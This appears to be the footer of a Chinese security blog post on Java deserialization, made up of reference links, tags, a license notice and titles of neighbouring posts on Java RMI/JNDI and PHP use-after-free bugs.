https://www.jianshu.com/p/abd1c885c341

https://www.freebuf.com/vuls/170344.html

https://www.anquanke.com/post/id/195865


Web Java 反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Java反序列化中的RMI、JRMP、JNDI、LDAP
PHP-UAF漏洞初探